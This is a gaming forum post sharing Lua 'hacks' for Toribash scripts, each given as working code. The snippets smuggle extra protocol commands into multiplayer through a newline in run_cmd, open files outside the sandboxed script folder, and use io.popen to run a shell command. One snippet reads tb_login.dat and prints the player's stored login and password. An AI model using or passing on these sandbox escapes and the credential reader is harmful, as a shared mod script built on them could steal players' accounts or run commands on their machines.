HTOTM: FUSION
Prev Previous Post   Next Post Next
Original Post
Some "hacks" for toribash lua
hmmm i found some little helpful "hacks" that can help you etc etc
1. Running any Toribash protocol commands in multiplayer
this one is easy
i think the name is understandable
local function RunCommand(cmd)
	run_cmd("cp \n"..cmd)
end

RunCommand("SAY oshit, it works")
2. Opening any files in any directories, not only in "data/script"
i was reading the lua manual and found another way to open files
local function OpenFile(filename)
	local oldinput = io.input()
	io.input(filename)
	local file = io.input()
	io.input(oldinput)
	return file
end

local file = OpenFile("data/mod/wtf.tbm")
echo(file:read("*l"))
file:close()
3. Also you can read tb_login.dat and show user's login and pass using the last code, here is a little example
local function OpenFile(filename)
	local oldinput = io.input()
	io.input(filename)
	local file = io.input()
	io.input(oldinput)
	return file
end

local function ReadLine(file)
	local output = ""
	while true do
		local buffer = file:read(1)
		if buffer == nil then
			break
		end
		if buffer == "\n" then
			break
		end
		if buffer ~= "\0" and buffer ~= "\r" then
			output = output  .. buffer
		end
	end
	return output
end

local function GetLoginAndPass()
	local file = OpenFile("tb_login.dat")
	local login = string.sub(ReadLine(file),6)
	local pass = string.sub(ReadLine(file),6)
	file:close()
	return login,pass
end

local login,pass = GetLoginAndPass()
echo("Your login: "..login)
echo("Your pass: "..pass)
4. Getting directory listing
this is the funniest thing. works only on windows
local function GetDirectoryListing(dir)
	local dircmd
	if dir == nil then
		dircmd = io.popen("dir /B","r")
	else
		dircmd = io.popen("dir /B "..dir,"r")
	end
	local output = {}
	while true do
		local buf = dircmd:read("*l")
		if buf == nil then
			dircmd:close()
			break
		end
		table.insert(output,buf)
	end
	return output
end

local files = GetDirectoryListing("data\\script\\")
for i = 1,#files do
	echo(files[i])
end
to be continued
[SIGPIC][/SIGPIC]
orgs: rukeepers, Promo Team